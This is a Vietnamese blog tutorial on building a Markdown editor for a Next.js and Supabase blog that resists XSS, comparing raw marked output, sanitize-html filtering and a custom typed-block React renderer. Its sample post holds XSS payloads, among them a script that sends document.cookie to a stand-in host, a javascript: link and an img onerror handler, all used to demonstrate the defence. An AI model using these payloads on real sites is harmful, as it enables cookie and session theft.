Markdown trong Next.js: làm trình soạn bài an toàn cho blog
Làm trình soạn Markdown trong Next.js mà không để mã độc lọt vào trang: so ba cách xử lý một bài chứa script, liên kết javascript: và ảnh onerror.
Làm trình soạn Markdown an toàn cho Next.js nghĩa là không đưa HTML chưa kiểm soát vào trang. Có hai cách: lọc HTML bằng một thư viện sanitize, hoặc đổi Markdown thành các khối có kiểu rồi dựng bằng React, để không có chuỗi HTML nào xuất hiện. Blog này dùng cách thứ hai. Cùng mình so sánh nhé!
Vì sao một blog chỉ có một tác giả vẫn cần lo chuyện này?
Ở bài trước, blog-mini (dự án blog nhỏ mà series này xây dần) đã nhanh nhờ ISR, và vẫn sửa được bài. Nhưng tác giả vẫn đang viết bài bằng cách gõ thẳng vào bảng posts trong Dashboard của Supabase. Hai bài thì chịu được, hai mươi bài mỗi bài vài nghìn chữ thì không. Blog cần một ô soạn bài, một bên gõ Markdown, một bên xem trước, rồi lưu vào cột body_markdown.
Bạn có thể nghĩ: blog chỉ một mình mình viết, mình đâu tự chèn mã độc vào bài của mình? Đúng là không ai chủ ý làm vậy. Nhưng có hai chuyện khiến mình vẫn muốn lo.
Chuyện thứ nhất là dán từ nơi khác. Bạn chép một đoạn từ trang web, từ tài liệu Word, hay từ câu trả lời của một công cụ AI, và nó mang theo thứ bạn không thấy bằng mắt. Chuyện thứ hai là ô xem trước nằm trong trang quản trị, nơi bạn đang đăng nhập. Nếu mã chạy được ở đó, nó chạy với quyền của tác giả, và từ bài về Supabase Auth bạn biết tác giả là vai duy nhất ghi được vào database. Một đoạn mã chạy được trong trang này là một đoạn mã có thể sửa mọi bài viết.
Vì thế mình muốn thử cho rõ. Mình tạo một bài "dán từ nơi khác" có ba thứ nguy hiểm, và cho nó đi qua ba cách xử lý khác nhau.
Bài mẫu chứa gì, và cách ngây thơ cho ra gì?
Đây là bài mẫu. Nhìn bằng mắt thì nó là một bài về Git, với một đoạn bình thường, một liên kết tới tài liệu, và hai thứ lạ:
// Một bài "dán từ nơi khác" có chứa mã độc: một thẻ script, một liên kết javascript:, và một ảnh có onerror.
export const BAI_DOC_HAI = `## Cách dùng Git
Đây là một đoạn bình thường, có **chữ đậm** và \`code\`.
<script>fetch("https://ke-xau.example/an-cap?c=" + document.cookie)</script>
Xem [tài liệu](javascript:alert('xss')) để biết thêm, hoặc [trang chủ](https://example.com/git).
<img src="x" onerror="alert('xss')">`;Ba thứ đó là thẻ <script> đọc cookie rồi gửi đi, liên kết dùng giao thức javascript: chạy mã khi bấm, và thẻ <img> có onerror chạy mã khi ảnh không tải được. Mình đặt chúng thành ba đoạn riêng, để bạn thấy từng cái đi qua các cách xử lý ra sao.
Cách đầu tiên mà hầu hết hướng dẫn chỉ ra là cài một thư viện Markdown rồi đưa HTML vào trang. Mình dùng marked:
// Cách ngây thơ: Markdown sang HTML bằng marked, rồi đưa thẳng vào trang.
import { marked } from "marked";
import { BAI_DOC_HAI } from "./bai-doc-hai.ts";
console.log(marked.parse(BAI_DOC_HAI, { async: false }));Để chạy, bạn tạo thư mục mới có package.json chứa "type": "module", rồi cài các thư viện mà cả bài này dùng:
npm install --save-exact marked@18.2.0 sanitize-html@2.18.1 react@19.3.1 react-dom@19.3.1Thêm một file tsconfig.json chỉ cần dòng "jsx": "react-jsx" trong compilerOptions để các file .tsx ở dưới chạy được. Mình chạy bằng npx tsx nên Node.js 18 trở lên là đủ.
<h2>Cách dùng Git</h2>
<p>Đây là một đoạn bình thường, có <strong>chữ đậm</strong> và <code>code</code>.</p>
<script>fetch("https://ke-xau.example/an-cap?c=" + document.cookie)</script><p>Xem <a href="javascript:alert('xss')">tài liệu</a> để biết thêm, hoặc <a href="https://example.com/git">trang chủ</a>.</p>
<img src="x" onerror="alert('xss')">Cả ba thứ nguy hiểm đều còn nguyên: thẻ script, liên kết javascript: và thẻ img có onerror. Điều này không phải lỗi của marked. README của thư viện nói rõ rằng nó không lọc HTML đầu ra, và khuyên chạy kết quả qua một thư viện sanitize như DOMPurify. Nó làm đúng việc của nó: Markdown cho phép viết HTML thô, nên nó chuyển HTML thô sang đầu ra.
Nếu bạn đưa chuỗi này vào trang bằng dangerouslySetInnerHTML của React (cái tên đã nói lên mức nguy hiểm), thì thẻ <script> sẽ không chạy. Trình duyệt không thực thi script chèn qua innerHTML, như MDN ghi rõ. Nhưng cũng trang MDN đó cảnh báo rằng ảnh có onerror vẫn chạy được mã. Còn liên kết javascript: thì chạy khi có người bấm. Mình không chạy thử các thứ này trong trình duyệt khi viết bài, vì mục đích là cho bạn thấy HTML mà trang nhận được, và hai chỗ đó đã đủ để không nên tin vào cách này.
Lọc HTML bằng sanitize có đủ không?
Cách thứ hai là giữ marked, nhưng cho HTML đầu ra qua một bộ lọc dùng danh sách cho phép: chỉ những thẻ và thuộc tính bạn liệt kê mới được giữ lại. Mình dùng sanitize-html:
// Cách thứ hai: vẫn dùng marked, nhưng lọc HTML đầu ra bằng sanitize-html theo danh sách cho phép.
import { marked } from "marked";
import sanitizeHtml from "sanitize-html";
import { BAI_DOC_HAI } from "./bai-doc-hai.ts";
const html = marked.parse(BAI_DOC_HAI, { async: false });
console.log(
sanitizeHtml(html, {
allowedTags: ["h2", "h3", "p", "ul", "ol", "li", "strong", "code", "pre", "a", "blockquote"],
allowedAttributes: { a: ["href"] },
allowedSchemes: ["http", "https"],
}),
);<h2>Cách dùng Git</h2>
<p>Đây là một đoạn bình thường, có <strong>chữ đậm</strong> và <code>code</code>.</p>
<p>Xem <a>tài liệu</a> để biết thêm, hoặc <a href="https://example.com/git">trang chủ</a>.</p>Kết quả tốt hơn nhiều. Thẻ script và thẻ img biến mất, liên kết javascript: mất thuộc tính href nên bấm vào không làm gì. Liên kết https thật vẫn còn. Với một bộ danh sách cho phép đơn giản, đây là một lựa chọn hợp lý và là cách mà nhiều dự án dùng.
Nhưng mình có hai băn khoăn khi chọn nó cho blog này. Thứ nhất, an toàn của trang nằm ở một danh sách cấu hình. Ngày nào bạn thêm img hay iframe vào danh sách để chèn ảnh hay video, bạn phải nghĩ lại về mọi thuộc tính đi kèm. Thứ hai, bộ lọc phải hiểu HTML như trình duyệt hiểu, mà HTML có rất nhiều chỗ hiểu nhập nhằng. Các thư viện như DOMPurify hay sanitize-html được rà soát kỹ nên đáng tin, nhưng chúng vẫn là một lớp bạn phải cập nhật phiên bản cho đúng hạn.
Cách thứ ba: không bao giờ tạo ra HTML
Cách mà blog này đang dùng thì đi ngược lại: đừng cố làm sạch HTML, hãy không để HTML xuất hiện. Markdown được đổi thành một danh sách các khối có kiểu (tiêu đề, đoạn văn, danh sách, khối code), rồi mỗi khối được dựng thành phần tử React. Chữ của tác giả luôn nằm bên trong phần tử, tức là một "con" của nó, và React tự thoát các ký tự như < và &. Không có chuỗi nào bị diễn giải như HTML, nên không có gì cần lọc.
Bước đầu là đổi Markdown thành khối. Đây là file markdown-an-toan.ts, một bản rút gọn của src/lib/markdown.ts và src/lib/inline.ts trong chính repo blog này (bản thật còn xử lý trích dẫn, hộp mẹo và ảnh):
// Một phương ngữ Markdown rất nhỏ, đổi thành "khối" có kiểu thay vì HTML.
// Chữ nào không nhận ra thì thành đoạn văn thường. HTML thô không bao giờ được hiểu là HTML.
export type Khoi =
| { loai: "tieu-de"; muc: 2 | 3; chu: string }
| { loai: "doan"; chu: string }
| { loai: "danh-sach"; muc: string[] }
| { loai: "code"; ngonNgu: string; ma: string };
export function parseMarkdown(nguon: string): Khoi[] {
const dong = nguon.replace(/\r\n?/g, "\n").split("\n");
const khoi: Khoi[] = [];
let i = 0;
while (i < dong.length) {
const d = dong[i].trim();
const tieuDe = /^(#{2,3})\s+(.+)$/.exec(d);
const moRao = /^```(\w*)$/.exec(d);
if (!d) {
i++;
} else if (moRao) {
const ma: string[] = [];
for (i++; i < dong.length && dong[i].trim() !== "```"; i++) ma.push(dong[i]);
i++; // dòng đóng ```
khoi.push({ loai: "code", ngonNgu: moRao[1] || "text", ma: ma.join("\n") });
} else if (tieuDe) {
khoi.push({ loai: "tieu-de", muc: tieuDe[1].length as 2 | 3, chu: tieuDe[2].trim() });
i++;
} else if (/^[-*]\s+/.test(d)) {
const muc: string[] = [];
for (; i < dong.length && /^[-*]\s+/.test(dong[i].trim()); i++) muc.push(dong[i].trim().replace(/^[-*]\s+/, ""));
khoi.push({ loai: "danh-sach", muc });
} else {
const chu: string[] = [];
for (; i < dong.length && dong[i].trim() && !/^(#{2,3}\s|```|[-*]\s)/.test(dong[i].trim()); i++) chu.push(dong[i].trim());
khoi.push({ loai: "doan", chu: chu.join(" ") });
}
}
return khoi;
}
export type Manh = { loai: "chu" | "dam" | "code"; chu: string } | { loai: "lien-ket"; chu: string; href: string };
// Chỉ nhận liên kết http(s) hoặc đường dẫn trong site. "javascript:", "data:" và "//host" bị coi là chữ thường.
export function hrefAnToan(href: string): boolean {
return /^https?:\/\//.test(href) || (href.startsWith("/") && !href.startsWith("//"));
}
export function tachManh(chu: string): Manh[] {
const ketQua: Manh[] = [];
let cuoi = 0;
for (const m of chu.matchAll(/`([^`]+)`|\*\*([^*]+)\*\*|\[([^\]]+)\]\(([^)\s]+)\)/g)) {
if (m[3] !== undefined && !hrefAnToan(m[4])) continue; // liên kết không an toàn: để nguyên thành chữ
if (m.index > cuoi) ketQua.push({ loai: "chu", chu: chu.slice(cuoi, m.index) });
if (m[1] !== undefined) ketQua.push({ loai: "code", chu: m[1] });
else if (m[2] !== undefined) ketQua.push({ loai: "dam", chu: m[2] });
else ketQua.push({ loai: "lien-ket", chu: m[3], href: m[4] });
cuoi = m.index + m[0].length;
}
if (cuoi < chu.length) ketQua.push({ loai: "chu", chu: chu.slice(cuoi) });
return ketQua;
}Hàm parseMarkdown đọc từng dòng. Gặp tiêu đề ##, gặp rào code, gặp dấu - đầu dòng thì tạo khối tương ứng, còn lại gom thành đoạn văn. Một dòng như <script>…</script> không khớp mẫu nào, nên thành một đoạn văn có chữ <script> bên trong. Hàm tachManh tách chữ trong một đoạn thành các mảnh nhỏ: chữ thường, chữ đậm, code, liên kết. Chỗ quan trọng nhất là hrefAnToan. Nó chỉ nhận địa chỉ bắt đầu bằng http://, https://, hoặc một đường dẫn trong site (/..., nhưng không phải //... vì đó là địa chỉ một máy khác). Liên kết javascript: hay data: không qua được nên để nguyên thành chữ.
Bước hai là dựng khối thành phần tử React:
import type { Khoi } from "./markdown-an-toan.ts";
import { tachManh } from "./markdown-an-toan.ts";
// Mỗi khối thành một phần tử React. Chữ của tác giả luôn là "con" của phần tử, nên React tự thoát ký tự đặc biệt.
function ChuTrongDong({ chu }: { chu: string }) {
return (
<>
{tachManh(chu).map((manh, i) => {
switch (manh.loai) {
case "dam":
return <strong key={i}>{manh.chu}</strong>;
case "code":
return <code key={i}>{manh.chu}</code>;
case "lien-ket":
return (
<a href={manh.href} key={i} rel="noopener noreferrer">
{manh.chu}
</a>
);
default:
return manh.chu;
}
})}
</>
);
}
export function XemTruoc({ khoi }: { khoi: Khoi[] }) {
return (
<>
{khoi.map((k, i) => {
switch (k.loai) {
case "tieu-de":
return k.muc === 2 ? <h2 key={i}><ChuTrongDong chu={k.chu} /></h2> : <h3 key={i}><ChuTrongDong chu={k.chu} /></h3>;
case "danh-sach":
return <ul key={i}>{k.muc.map((m, j) => <li key={j}><ChuTrongDong chu={m} /></li>)}</ul>;
case "code":
return <pre key={i}><code>{k.ma}</code></pre>;
default:
return <p key={i}><ChuTrongDong chu={k.chu} /></p>;
}
})}
</>
);
}Cuối cùng, một file chạy thử in ra các khối rồi HTML mà React dựng:
// Cách thứ ba: Markdown sang khối có kiểu, rồi sang phần tử React. Không có bước nào tạo ra chuỗi HTML.
import { renderToStaticMarkup } from "react-dom/server";
import { BAI_DOC_HAI } from "./bai-doc-hai.ts";
import { parseMarkdown } from "./markdown-an-toan.ts";
import { XemTruoc } from "./xem-truoc.tsx";
const khoi = parseMarkdown(BAI_DOC_HAI);
for (const k of khoi) console.log(JSON.stringify(k));
console.log("\n" + renderToStaticMarkup(<XemTruoc khoi={khoi} />));{"loai":"tieu-de","muc":2,"chu":"Cách dùng Git"}
{"loai":"doan","chu":"Đây là một đoạn bình thường, có **chữ đậm** và `code`."}
{"loai":"doan","chu":"<script>fetch(\"https://ke-xau.example/an-cap?c=\" + document.cookie)</script>"}
{"loai":"doan","chu":"Xem [tài liệu](javascript:alert('xss')) để biết thêm, hoặc [trang chủ](https://example.com/git)."}
{"loai":"doan","chu":"<img src=\"x\" onerror=\"alert('xss')\">"}
<h2>Cách dùng Git</h2><p>Đây là một đoạn bình thường, có <strong>chữ đậm</strong> và <code>code</code>.</p><p><script>fetch("https://ke-xau.example/an-cap?c=" + document.cookie)</script></p><p>Xem [tài liệu](javascript:alert('xss')) để biết thêm, hoặc <a href="https://example.com/git" rel="noopener noreferrer">trang chủ</a>.</p><p><img src="x" onerror="alert('xss')"></p>Hãy nhìn phần HTML ở cuối. Thẻ script biến thành <script>…, tức là chữ hiển thị chứ không phải thẻ. Thẻ img cũng vậy. Liên kết javascript: thành chữ [tài liệu](javascript:…) còn nguyên, không phải liên kết. Chỉ liên kết https thật mới thành thẻ <a>. Người đọc (hoặc chính bạn trong ô xem trước) sẽ thấy các đoạn lạ đó hiện thành chữ, và biết ngay có gì đó không ổn trong bài.
Blog này cũng có test cho đúng chỗ đó. File src/lib/inline.test.ts thử ba địa chỉ javascript:alert(1), //evil.example và data:text/html,x, và đòi cả ba phải ra chữ thường. Một điều kiện an toàn mà không có test thì sớm muộn có người sửa nó mà không biết.
Ghép thành ô soạn bài
Có parseMarkdown và XemTruoc, ô soạn bài chỉ còn là một textarea và một vùng xem trước dùng chung hai hàm đó. Trong Next.js App Router, thành phần cần useState phải là Client Component, nên mình đặt "use client" ở đầu file:
"use client";
// Ô soạn bài: bên trái gõ Markdown, bên phải xem trước. Cả hai nằm trong một thành phần, dùng chung hai hàm ở trên.
import { useState } from "react";
import { parseMarkdown } from "./markdown-an-toan.ts";
import { XemTruoc } from "./xem-truoc.tsx";
export function SoanBai({ banDau = "" }: { banDau?: string }) {
const [nguon, setNguon] = useState(banDau);
return (
<div style={{ display: "grid", gap: 16, gridTemplateColumns: "1fr 1fr" }}>
<textarea aria-label="Nội dung bài viết (Markdown)" onChange={(e) => setNguon(e.target.value)} rows={16} value={nguon} />
<article aria-label="Xem trước">
<XemTruoc khoi={parseMarkdown(nguon)} />
</article>
</div>
);
}Mỗi lần gõ, nguon đổi và parseMarkdown chạy lại. Với một bài vài nghìn chữ thì việc đó rất nhanh. Hai thuộc tính aria-label để người dùng đọc màn hình biết đâu là ô gõ, đâu là phần xem trước. Mình đã dựng thành phần này bằng renderToString với bài mẫu và thấy ô xem trước ra đúng như bước trước, nhưng mình chưa chạy nó trong trình duyệt hay trong một app Next.js thật khi viết bài, nên phần tương tác (gõ tới đâu xem trước tới đó) bạn sẽ là người thử đầu tiên.
Lưu ý quan trọng cuối cùng: xem trước an toàn không có nghĩa trang đăng cũng tự an toàn. Trang đọc bài phải dùng đúng bộ đổi khối sang phần tử đó. Nếu trang đọc bài lại đi đường khác, ví dụ đưa HTML vào bằng dangerouslySetInnerHTML, thì mọi cố gắng ở ô soạn là vô nghĩa. Nên chỉ có một đường duy nhất từ body_markdown ra trang, và ô xem trước đi đúng đường đó.
Nên chọn cách nào?
Theo mình thì như sau. Nếu bạn cần cho tác giả viết HTML tùy ý, hoặc cần một phương ngữ Markdown đầy đủ như bảng, ghi chú chân trang, thì dùng một thư viện Markdown cộng bộ lọc sanitize với danh sách cho phép chặt. Đó là cách thực tế, nhưng bạn nhận phần trách nhiệm giữ danh sách đó đúng.
Nếu blog của bạn chỉ cần tiêu đề, đoạn văn, danh sách, khối code, vài liên kết và ảnh, thì phương ngữ nhỏ cộng khối có kiểu rất đáng. Code ít, test được từng phần, và bạn không phải tin vào một bộ lọc. Cái giá là bạn tự viết bộ phân tích, nên những gì Markdown đầy đủ làm được mà bạn không viết thì sẽ không có. Với blog này, mình thấy cái giá đó chấp nhận được, vì mình chủ động giữ cho phương ngữ nhỏ.
Ảnh trong bài sẽ đi đâu?
Ô soạn bài giờ viết và xem trước được, nhưng nó mới xử lý chữ. Một bài viết thật có ảnh chụp màn hình, và ảnh chụp thường nặng. Một bức ảnh 14 MB tải thẳng lên nơi lưu trữ miễn phí 500 MB sẽ lấp đầy chỗ chỉ sau ba mươi bức. Việc ảnh đi vào blog thế nào, và nén chúng trước khi lưu ra sao, là việc của các bài viết sau.
Bạn theo dõi cả series ở Xây blog với Next.js + Supabase. Nếu đang ôn phỏng vấn, các câu hỏi về Next.js, React và bảo mật có trong ngân hàng câu hỏi phỏng vấn.